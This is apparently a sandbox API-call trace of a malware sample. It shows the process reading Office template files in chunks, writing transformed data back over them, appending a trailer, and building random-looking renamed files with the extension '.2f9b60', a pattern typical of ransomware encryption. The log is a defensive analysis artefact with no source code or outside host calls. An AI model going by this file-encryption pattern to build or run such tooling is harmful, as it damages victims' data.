[0148.823] RtlRandomEx (in: Seed=0x1cfdfb90 | out: Seed=0x1cfdfb90) returned 0x37dcd96d [0148.823] RtlRandomEx (in: Seed=0x1cfdfb90 | out: Seed=0x1cfdfb90) returned 0x4fc8a9b7 [0148.823] RtlRandomEx (in: Seed=0x1cfdfb90 | out: Seed=0x1cfdfb90) returned 0x5a537337 [0148.823] RtlRandomEx (in: Seed=0x1cfdfb90 | out: Seed=0x1cfdfb90) returned 0x220cb786 [0148.824] RtlRandomEx (in: Seed=0x1cfdfb90 | out: Seed=0x1cfdfb90) returned 0x6c27c547 [0148.824] RtlRandomEx (in: Seed=0x1cfdfb90 | out: Seed=0x1cfdfb90) returned 0x30bca7d9 [0148.824] RtlRandomEx (in: Seed=0x1cfdfb90 | out: Seed=0x1cfdfb90) returned 0x3ff0b5d [0148.824] RtlRandomEx (in: Seed=0x1cfdfb90 | out: Seed=0x1cfdfb90) returned 0x5957493d [0148.824] RtlRandomEx (in: Seed=0x1cfdfb90 | out: Seed=0x1cfdfb90) returned 0x9552999 [0148.824] RtlRandomEx (in: Seed=0x1cfdfb90 | out: Seed=0x1cfdfb90) returned 0x6e5facc0 [0148.824] RtlRandomEx (in: Seed=0x1cfdfb90 | out: Seed=0x1cfdfb90) returned 0x1ad2c8e1 [0148.824] RtlRandomEx (in: Seed=0x1cfdfb90 | out: Seed=0x1cfdfb90) returned 0x405d5660 [0148.824] RtlRandomEx (in: Seed=0x1cfdfb90 | out: Seed=0x1cfdfb90) returned 0x5ae7a15f [0148.824] RtlRandomEx (in: Seed=0x1cfdfb90 | out: Seed=0x1cfdfb90) returned 0x16abd8f2 [0148.824] RtlRandomEx (in: Seed=0x1cfdfb90 | out: Seed=0x1cfdfb90) returned 0x1cd027e3 [0148.824] RtlRandomEx (in: Seed=0x1cfdfb90 | out: Seed=0x1cfdfb90) returned 0x2e0a2711 [0148.824] RtlRandomEx (in: Seed=0x1cfdfb90 | out: Seed=0x1cfdfb90) returned 0x67239a93 [0148.824] RtlRandomEx (in: Seed=0x1cfdfb90 | out: Seed=0x1cfdfb90) returned 0x11f11630 [0148.824] RtlRandomEx (in: Seed=0x1cfdfb90 | out: Seed=0x1cfdfb90) returned 0x14a170a1 [0148.824] RtlRandomEx (in: Seed=0x1cfdfb90 | out: Seed=0x1cfdfb90) returned 0x34d49cce [0148.824] RtlRandomEx (in: Seed=0x1cfdfb90 | out: Seed=0x1cfdfb90) returned 0x573cb111 [0148.824] RtlRandomEx (in: Seed=0x1cfdfb90 | out: Seed=0x1cfdfb90) returned 0x2fb94120 [0148.824] RtlRandomEx (in: Seed=0x1cfdfb90 | out: Seed=0x1cfdfb90) returned 0x7d3086a1 [0148.824] RtlRandomEx (in: Seed=0x1cfdfb90 | out: Seed=0x1cfdfb90) returned 0x46b59140 [0148.824] RtlRandomEx (in: Seed=0x1cfdfb90 | out: Seed=0x1cfdfb90) returned 0x1798d41b [0148.824] RtlRandomEx (in: Seed=0x1cfdfb90 | out: Seed=0x1cfdfb90) returned 0x45ebfa01 [0148.824] RtlRandomEx (in: Seed=0x1cfdfb90 | out: Seed=0x1cfdfb90) returned 0xd2897b6 [0148.824] RtlRandomEx (in: Seed=0x1cfdfb90 | out: Seed=0x1cfdfb90) returned 0x95d7df9 [0148.824] RtlRandomEx (in: Seed=0x1cfdfb90 | out: Seed=0x1cfdfb90) returned 0x795d31c9 [0148.824] RtlRandomEx (in: Seed=0x1cfdfb90 | out: Seed=0x1cfdfb90) returned 0x7b840f21 [0148.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264920 [0148.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0148.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264890 [0148.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0148.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264860) returned 1 [0148.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267230) returned 1 [0148.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201ea520 [0148.836] SetFilePointerEx (in: hFile=0x1b14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.836] ReadFile (in: hFile=0x1b14, lpBuffer=0x201ea520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1cfdfc00, lpOverlapped=0x0 | out: lpBuffer=0x201ea520*, lpNumberOfBytesRead=0x1cfdfc00*=0x3c00, lpOverlapped=0x0) returned 1 [0148.838] SetFilePointerEx (in: hFile=0x1b14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0148.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0148.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267230 [0148.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267230) returned 1 [0148.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201d78d0 [0148.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267230 [0148.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264860 [0148.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264860) returned 1 [0148.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0148.840] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0148.840] WriteFile (hFile=0x1b14, lpBuffer=0x201d78d0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1cfdfc00, lpOverlapped=0x0) [0194.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201d78d0) returned 1 [0194.377] SetFilePointerEx (in: hFile=0x1b14, liDistanceToMove=0x69000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.377] ReadFile (in: hFile=0x1b14, lpBuffer=0x201ea520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1cfdfc00, lpOverlapped=0x0 | out: lpBuffer=0x201ea520*, lpNumberOfBytesRead=0x1cfdfc00*=0x3c00, lpOverlapped=0x0) returned 1 [0194.553] SetFilePointerEx (in: hFile=0x1b14, liDistanceToMove=0x69000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc50 [0194.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba3e0 [0194.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a40d0 [0194.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a40d0) returned 1 [0194.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4283be10 [0194.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a40d0 [0194.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a50f0 [0194.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a50f0) returned 1 [0194.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba3e0) returned 1 [0194.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0194.556] WriteFile (in: hFile=0x1b14, lpBuffer=0x4283be10*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1cfdfc00, lpOverlapped=0x0 | out: lpBuffer=0x4283be10*, lpNumberOfBytesWritten=0x1cfdfc00*=0x3c00, lpOverlapped=0x0) returned 1 [0205.401] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4283be10) returned 1 [0205.401] SetFilePointerEx (in: hFile=0x1b14, liDistanceToMove=0xcd3be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.401] ReadFile (in: hFile=0x1b14, lpBuffer=0x201ea520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1cfdfc00, lpOverlapped=0x0 | out: lpBuffer=0x201ea520*, lpNumberOfBytesRead=0x1cfdfc00*=0x3c00, lpOverlapped=0x0) returned 1 [0205.501] SetFilePointerEx (in: hFile=0x1b14, liDistanceToMove=0xcd3be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61600 [0205.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262570 [0205.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262570) returned 1 [0205.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42aa6280 [0205.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262570 [0205.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260a10 [0205.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260a10) returned 1 [0205.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61600) returned 1 [0205.505] WriteFile (in: hFile=0x1b14, lpBuffer=0x42aa6280*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1cfdfc00, lpOverlapped=0x0 | out: lpBuffer=0x42aa6280*, lpNumberOfBytesWritten=0x1cfdfc00*=0x3c00, lpOverlapped=0x0) returned 1 [0215.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42aa6280) returned 1 [0215.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43105590 [0215.050] SetFilePointerEx (in: hFile=0x1b14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.050] WriteFile (in: hFile=0x1b14, lpBuffer=0x430bd220*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x1cfdfcb0, lpOverlapped=0x0 | out: lpBuffer=0x430bd220*, lpNumberOfBytesWritten=0x1cfdfcb0*=0x152, lpOverlapped=0x0) returned 1 [0220.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616f0 [0220.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8684c0 [0220.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9be0 [0220.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9be0) returned 1 [0220.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9be0 [0220.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9b50 [0220.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8bc0 [0220.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8bc0) returned 1 [0220.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8684c0) returned 1 [0220.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616f0) returned 1 [0220.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1ce616f0 [0220.177] sprintf (in: _Dest=0x1ce616f0, _Format="%c%c" | out: _Dest="3d") returned 2 [0220.177] sprintf (in: _Dest=0x1ce616f2, _Format="%c%c" | out: _Dest="74") returned 2 [0220.177] sprintf (in: _Dest=0x1ce616f4, _Format="%c%c" | out: _Dest="10") returned 2 [0220.177] sprintf (in: _Dest=0x1ce616f6, _Format="%c%c" | out: _Dest="17") returned 2 [0220.177] sprintf (in: _Dest=0x1ce616f8, _Format="%c%c" | out: _Dest="e1") returned 2 [0220.177] sprintf (in: _Dest=0x1ce616fa, _Format="%c%c" | out: _Dest="90") returned 2 [0220.177] sprintf (in: _Dest=0x1ce616fc, _Format="%c%c" | out: _Dest="73") returned 2 [0220.177] sprintf (in: _Dest=0x1ce616fe, _Format="%c%c" | out: _Dest="b7") returned 2 [0220.177] sprintf (in: _Dest=0x1ce61700, _Format="%c%c" | out: _Dest="4e") returned 2 [0220.178] sprintf (in: _Dest=0x1ce61702, _Format="%c%c" | out: _Dest="6f") returned 2 [0220.178] sprintf (in: _Dest=0x1ce61704, _Format="%c%c" | out: _Dest="e7") returned 2 [0220.178] sprintf (in: _Dest=0x1ce61706, _Format="%c%c" | out: _Dest="0f") returned 2 [0220.178] sprintf (in: _Dest=0x1ce61708, _Format="%c%c" | out: _Dest="bc") returned 2 [0220.178] sprintf (in: _Dest=0x1ce6170a, _Format="%c%c" | out: _Dest="17") returned 2 [0220.178] sprintf (in: _Dest=0x1ce6170c, _Format="%c%c" | out: _Dest="45") returned 2 [0220.178] sprintf (in: _Dest=0x1ce6170e, _Format="%c%c" | out: _Dest="58") returned 2 [0220.178] sprintf (in: _Dest=0x1ce61710, _Format="%c%c" | out: _Dest="fc") returned 2 [0220.178] sprintf (in: _Dest=0x1ce61712, _Format="%c%c" | out: _Dest="09") returned 2 [0220.178] sprintf (in: _Dest=0x1ce61714, _Format="%c%c" | out: _Dest="45") returned 2 [0220.178] sprintf (in: _Dest=0x1ce61716, _Format="%c%c" | out: _Dest="14") returned 2 [0220.178] sprintf (in: _Dest=0x1ce61718, _Format="%c%c" | out: _Dest="63") returned 2 [0220.178] sprintf (in: _Dest=0x1ce6171a, _Format="%c%c" | out: _Dest="9b") returned 2 [0220.178] sprintf (in: _Dest=0x1ce6171c, _Format="%c%c" | out: _Dest="41") returned 2 [0220.178] sprintf (in: _Dest=0x1ce6171e, _Format="%c%c" | out: _Dest="36") returned 2 [0220.178] sprintf (in: _Dest=0x1ce61720, _Format="%c%c" | out: _Dest="2b") returned 2 [0220.178] sprintf (in: _Dest=0x1ce61722, _Format="%c%c" | out: _Dest="5c") returned 2 [0220.178] sprintf (in: _Dest=0x1ce61724, _Format="%c%c" | out: _Dest="c9") returned 2 [0220.178] sprintf (in: _Dest=0x1ce61726, _Format="%c%c" | out: _Dest="f0") returned 2 [0220.178] sprintf (in: _Dest=0x1ce61728, _Format="%c%c" | out: _Dest="19") returned 2 [0220.178] sprintf (in: _Dest=0x1ce6172a, _Format="%c%c" | out: _Dest="8e") returned 2 [0220.178] sprintf (in: _Dest=0x1ce6172c, _Format="%c%c" | out: _Dest="e6") returned 2 [0220.178] sprintf (in: _Dest=0x1ce6172e, _Format="%c%c" | out: _Dest="ed") returned 2 [0220.178] RtlInitAnsiString (in: DestinationString=0x1cfdfd28, SourceString="3d741017e19073b74e6fe70fbc174558fc094514639b41362b5cc9f0198ee6ed" | out: DestinationString="3d741017e19073b74e6fe70fbc174558fc094514639b41362b5cc9f0198ee6ed") [0220.178] RtlAnsiStringToUnicodeString (in: DestinationString=0x1cfdfcf8, SourceString="3d741017e19073b74e6fe70fbc174558fc094514639b41362b5cc9f0198ee6ed", AllocateDestinationString=1 | out: DestinationString="3d741017e19073b74e6fe70fbc174558fc094514639b41362b5cc9f0198ee6ed") returned 0x0 [0220.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x2050a140 [0220.179] wcscat (in: _Dest=0x431e4520, _Source="3d741017e19073b7" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\3d741017e19073b7") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\3d741017e19073b7" [0220.179] wcscat (in: _Dest=0x431e4520, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\3d741017e19073b7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\3d741017e19073b7.2f9b60" [0220.179] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\3d741017e19073b7.2f9b60", NtPathName=0x1cfdfcd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\3d741017e19073b7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0220.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x42c377d0 Thread: id = 2305 os_tid = 0x1c68 [0148.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanresume.dotx")) returned 0x20 [0148.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanResume.Dotx", dwFileAttributes=0x20) returned 1 [0148.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanresume.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1d9c [0148.848] GetFileSizeEx (in: hFile=0x1d9c, lpFileSize=0x1f21f8a0 | out: lpFileSize=0x1f21f8a0*=126237) returned 1 [0148.848] SetFilePointerEx (in: hFile=0x1d9c, liDistanceToMove=0x1ed19, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.848] ReadFile (in: hFile=0x1d9c, lpBuffer=0x1f21f820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f21f868, lpOverlapped=0x0 | out: lpBuffer=0x1f21f820*, lpNumberOfBytesRead=0x1f21f868*=0x4, lpOverlapped=0x0) returned 1 [0148.850] SetFilePointerEx (in: hFile=0x1d9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264860 [0148.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264830 [0148.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202647d0 [0148.851] NtQuerySystemTime (in: CurrentTime=0x1f21f760 | out: CurrentTime=0x1f21f760*=132462177540730000) returned 0x0 [0148.851] RtlRandomEx (in: Seed=0x1f21f750 | out: Seed=0x1f21f750) returned 0x7cf5b185 [0148.851] RtlRandomEx (in: Seed=0x1f21f750 | out: Seed=0x1f21f750) returned 0x42a37d97 [0148.851] RtlRandomEx (in: Seed=0x1f21f750 | out: Seed=0x1f21f750) returned 0x63661423 [0148.851] RtlRandomEx (in: Seed=0x1f21f750 | out: Seed=0x1f21f750) returned 0x9f4c001 [0148.851] RtlRandomEx (in: Seed=0x1f21f750 | out: Seed=0x1f21f750) returned 0x7c049961 [0148.851] RtlRandomEx (in: Seed=0x1f21f750 | out: Seed=0x1f21f750) returned 0x4f9316b3 [0148.851] RtlRandomEx (in: Seed=0x1f21f750 | out: Seed=0x1f21f750) returned 0x228a6ec3 [0148.851] RtlRandomEx (in: Seed=0x1f21f750 | out: Seed=0x1f21f750) returned 0x2340a9e5 [0148.851] RtlRandomEx (in: Seed=0x1f21f750 | out: Seed=0x1f21f750) returned 0x1bb6a709 [0148.851] RtlRandomEx (in: Seed=0x1f21f750 | out: Seed=0x1f21f750) returned 0x56bd6a60 [0148.851] RtlRandomEx (in: Seed=0x1f21f750 | out: Seed=0x1f21f750) returned 0x703b3b85 [0148.851] RtlRandomEx (in: Seed=0x1f21f750 | out: Seed=0x1f21f750) returned 0x2de6f9cf [0148.851] RtlRandomEx (in: Seed=0x1f21f750 | out: Seed=0x1f21f750) returned 0x667670f4 [0148.851] RtlRandomEx (in: Seed=0x1f21f750 | out: Seed=0x1f21f750) returned 0x75d223f9 [0148.851] RtlRandomEx (in: Seed=0x1f21f750 | out: Seed=0x1f21f750) returned 0x57959a49 [0148.851] RtlRandomEx (in: Seed=0x1f21f750 | out: Seed=0x1f21f750) returned 0x742b5f94 [0148.851] RtlRandomEx (in: Seed=0x1f21f750 | out: Seed=0x1f21f750) returned 0x320beab2 [0148.851] RtlRandomEx (in: Seed=0x1f21f750 | out: Seed=0x1f21f750) returned 0x254c820d [0148.851] RtlRandomEx (in: Seed=0x1f21f750 | out: Seed=0x1f21f750) returned 0x58060cf2 [0148.851] RtlRandomEx (in: Seed=0x1f21f750 | out: Seed=0x1f21f750) returned 0x1b1b1853 [0148.851] RtlRandomEx (in: Seed=0x1f21f750 | out: Seed=0x1f21f750) returned 0x31228c0a [0148.851] RtlRandomEx (in: Seed=0x1f21f750 | out: Seed=0x1f21f750) returned 0x62693fa0 [0148.851] RtlRandomEx (in: Seed=0x1f21f750 | out: Seed=0x1f21f750) returned 0x388266ae [0148.851] RtlRandomEx (in: Seed=0x1f21f750 | out: Seed=0x1f21f750) returned 0x56a9cebf [0148.852] RtlRandomEx (in: Seed=0x1f21f750 | out: Seed=0x1f21f750) returned 0x1705cc22 [0148.852] RtlRandomEx (in: Seed=0x1f21f750 | out: Seed=0x1f21f750) returned 0x74e04d9b [0148.852] RtlRandomEx (in: Seed=0x1f21f750 | out: Seed=0x1f21f750) returned 0x2621e5d9 [0148.852] RtlRandomEx (in: Seed=0x1f21f750 | out: Seed=0x1f21f750) returned 0x2ffc1187 [0148.852] RtlRandomEx (in: Seed=0x1f21f750 | out: Seed=0x1f21f750) returned 0x6e0f6d7d [0148.852] RtlRandomEx (in: Seed=0x1f21f750 | out: Seed=0x1f21f750) returned 0x47ad36e0 [0148.852] RtlRandomEx (in: Seed=0x1f21f750 | out: Seed=0x1f21f750) returned 0x747673d8 [0148.852] RtlRandomEx (in: Seed=0x1f21f750 | out: Seed=0x1f21f750) returned 0x2ec4731b [0148.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265310 [0148.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0148.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264950 [0148.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0148.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202647d0) returned 1 [0148.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264860) returned 1 [0148.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20204990 [0148.866] SetFilePointerEx (in: hFile=0x1d9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.866] ReadFile (in: hFile=0x1d9c, lpBuffer=0x20204990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f21f7c0, lpOverlapped=0x0 | out: lpBuffer=0x20204990*, lpNumberOfBytesRead=0x1f21f7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0148.867] SetFilePointerEx (in: hFile=0x1d9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0148.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0148.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264860 [0148.868] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264860) returned 1 [0148.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41eb5950 [0148.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264860 [0148.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202647d0 [0148.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202647d0) returned 1 [0148.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0148.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0148.869] WriteFile (hFile=0x1d9c, lpBuffer=0x41eb5950, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f21f7c0, lpOverlapped=0x0) [0187.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41eb5950) returned 1 [0187.443] SetFilePointerEx (in: hFile=0x1d9c, liDistanceToMove=0x12c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.443] ReadFile (in: hFile=0x1d9c, lpBuffer=0x20204990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f21f7c0, lpOverlapped=0x0 | out: lpBuffer=0x20204990*, lpNumberOfBytesRead=0x1f21f7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0190.650] SetFilePointerEx (in: hFile=0x1d9c, liDistanceToMove=0x12c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139040 [0190.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139040) returned 1 [0190.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42997240 [0190.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139040 [0190.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139070 [0190.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139070) returned 1 [0190.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.653] WriteFile (in: hFile=0x1d9c, lpBuffer=0x42997240*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f21f7c0, lpOverlapped=0x0 | out: lpBuffer=0x42997240*, lpNumberOfBytesWritten=0x1f21f7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42997240) returned 1 [0205.531] SetFilePointerEx (in: hFile=0x1d9c, liDistanceToMove=0x1b11d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.531] ReadFile (in: hFile=0x1d9c, lpBuffer=0x20204990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f21f7c0, lpOverlapped=0x0 | out: lpBuffer=0x20204990*, lpNumberOfBytesRead=0x1f21f7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.532] SetFilePointerEx (in: hFile=0x1d9c, liDistanceToMove=0x1b11d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61600 [0205.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc8c0 [0205.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc8c0) returned 1 [0205.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42997240 [0205.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc8c0 [0205.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 